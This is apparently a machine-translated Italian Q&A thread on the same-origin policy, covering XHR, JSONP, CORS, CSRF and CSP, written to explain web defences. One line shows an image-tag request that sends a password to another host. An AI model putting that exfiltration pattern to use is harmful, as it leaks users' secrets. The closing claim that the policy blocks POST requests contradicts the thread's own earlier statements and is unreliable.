Qual è il punto della regola dello stesso dominio per xmlhttprequest quando i tag di script / JSONP possono attraversare i domini?

La tua premessa è sbagliata. I tag script e JSON non ignorano la politica della stessa origine.

La politica della stessa origine dice che evil.com non dovrebbe essere in grado di leggere le risposte per risorse arbitrarie su victim.com . Nota che Javascript da evil.com può far scattare richieste quasi arbitrarie da inviare a victim.com (ad es. Creando un IFRAME che punta a http://victim.com/whatever.html ). Tuttavia, Javascript da evil.com non può leggere il contenuto di quel documento: cioè non può leggere la risposta a tale richiesta.

Ora forse quello che stai pensando è che evil.com può chiedere al browser di caricare codice arbitrario da qualsiasi parte in victim.com e poi eseguirlo con tutte le autorizzazioni di evil.com . Questo non è un bypass della politica della stessa origine. (Nota anche che tende ad essere un rischio per la sicurezza, per la parte che sta caricando Javascript da siti di terze parti.)

Gli XHR devono essere limitati, perché XHR consente a Javascript non solo di attivare una richiesta di invio, ma consente anche a Javascript di leggere la risposta. La politica della stessa origine vieta, per le richieste di origine incrociata. La politica della stessa origine dice che leggere la risposta è qualcosa che dovrebbe essere consentito solo se la richiesta è della stessa origine dell'origine del codice Javascript. Pertanto, Javascript di evil.com può emettere un XHR a http://evil.com/doit e leggere la risposta, ma non è consentito emettere un XHR a http://victim.com/doit e leggere la risposta.

Se desideri emettere XHR di origine incrociata, il dominio di destinazione dovrà autorizzarti a inviarlo XHR di origine incrociata. Esamina CORS per i modi per farlo.

Non esiste "la stessa regola del dominio". XHR può POST o GET ad altri domini - è solo che la risposta non può essere letta dall'origine richiedente.

JSONP non ignora la stessa politica di origine. Il SOP dice semplicemente quanto sopra - richiede può essere fatto ad altre origini, solo che le loro risposte non possono essere lette. JSONP non richiede la lettura della risposta: include semplicemente il codice di un altro dominio da eseguire nel contesto del dominio corrente. Il codice non può essere letto, solo eseguito nel browser.

Le richieste che possono causare "effetti collaterali" dovrebbero essere fatte solo come POST. La limitazione degli XHR allo stesso dominio nel codice lato server può impedire l'esecuzione di azioni JSON POST diverse dal dominio del sito in cui ci si trova, il che può mitigare CSRF . Affinché ciò sia efficace, è necessario che ci siano controlli lato server di Origin intestazione o personalizzata come X-Requested-With come intestazioni personalizzate non possono essere inviate cross domain senza CORS . Questo perché sebbene la lettura della risposta sia protetta dalla stessa politica di origine , non esiste alcuna restrizione dell'attuale croce -dominio richiesta POST da essere fatto in primo luogo.

Con la maggior parte dei browser moderni è possibile disabilitare i cookie di terze parti . Ciò impedirà gli attacchi CSRF effettuati tramite AJAX, presupponendo che il browser non invii cookie precedentemente impostati per tali domini. Chrome sembra bloccare completamente i cookie di terze parti se l'impostazione è abilitata - i cookie non verranno accettati o inviati se il dominio è di terzi, alcuni browser potrebbero comunque inviare i cookie se erano stati precedentemente accettati come cookie di prima parte.

Non sarà di aiuto nel tuo esempio in cui il sito compromesso può inviare dati a un altro sito utilizzando <img src="//example.com/?password=1234" /> , tuttavia un La politica di sicurezza dei contenuti può essere implementata se desideri questo comportamento in quanto le origini esterne possono essere bloccate a livello di browser.

C'è un supporto all'interno di CORS per sapere se i cookie sono accettati su più domini ( Access-Control-Allow-Credentials ). Questo copre anche altri metodi di autenticazione, piuttosto che solo i cookie. Anche in questo caso, ciò influisce solo sul fatto che il dominio richiedente possa leggere la risposta, non sul fatto che possa essere effettuata in primo luogo.

TL: DR La stessa politica di origine previene principalmente il recupero di informazioni, non l'invio.

La stessa politica sulle origini impedisce a malicious.com di utilizzare i cookie di bank.com per recuperare informazioni sensibili da bank.com. La cosa fondamentale da notare è che la stessa politica di origine tenta di impedire a uno script di malicious.com di vedere tutti i dati da bank.com. Una volta che uno script di malicious.com ha i dati, può telefonare a casa con esso in molti modi diversi come descritto nella domanda.

Ci sono diversi modi in cui uno script di malicious.com potrebbe tentare di ottenere dati da bank.com, ma è impedito dallo stesso criterio di origine:

1. Un utente visita malicious.com e uno script tenta di eseguire una richiesta Ajax su bank.com, senza bank.com impostando le intestazioni appropriate (non sotto il controllo di malicious.com) la richiesta non riesce
2. Un utente visita malicious.com e uno script tenta di caricare un'immagine sensibile da bank.com. La richiesta ha successo e l'immagine è stata caricata. Tuttavia, qualsiasi tentativo di recuperare i dati da detta immagine (tramite un URL di dati o altro) è bloccato.
3. Un utente visita malicious.com e uno script tenta di caricare uno script sensibile (JSONP o altro) da bank.com. Se lo script richiede i cookie, ciò fallirà (a meno che bank.com non abbia impostato le intestazioni per consentire ciò), se non richiede i cookie, è già disponibile per chiunque.
4. Un utente visita bank.com e carica un annuncio da malicious.com in un iframe. Se l'iframe è correttamente inserito in una sandbox, l'annuncio è simile agli scenari sopra elencati e non ha accesso ai contenuti di bank.com.

Tuttavia, ci sono anche modi per ottenere informazioni che non sono prevenute dalla stessa politica di origine e rappresentano i vettori di attacco. Il principale è XSS dove un utente visita bank.com e bank.com carica uno script non salvato da malicious.com. Lo script di malicious.com può quindi fare ciò che vuole. I siti non devono mai fare richieste JSONP a siti di cui non si fidano, né devono consentire l'incorporamento di tag di script nelle pagine da input dell'utente.

Inoltre, lo stesso criterio di origine impedisce l'invio di richieste POST (o qualsiasi cosa diversa dalle richieste GET o OPTIONS).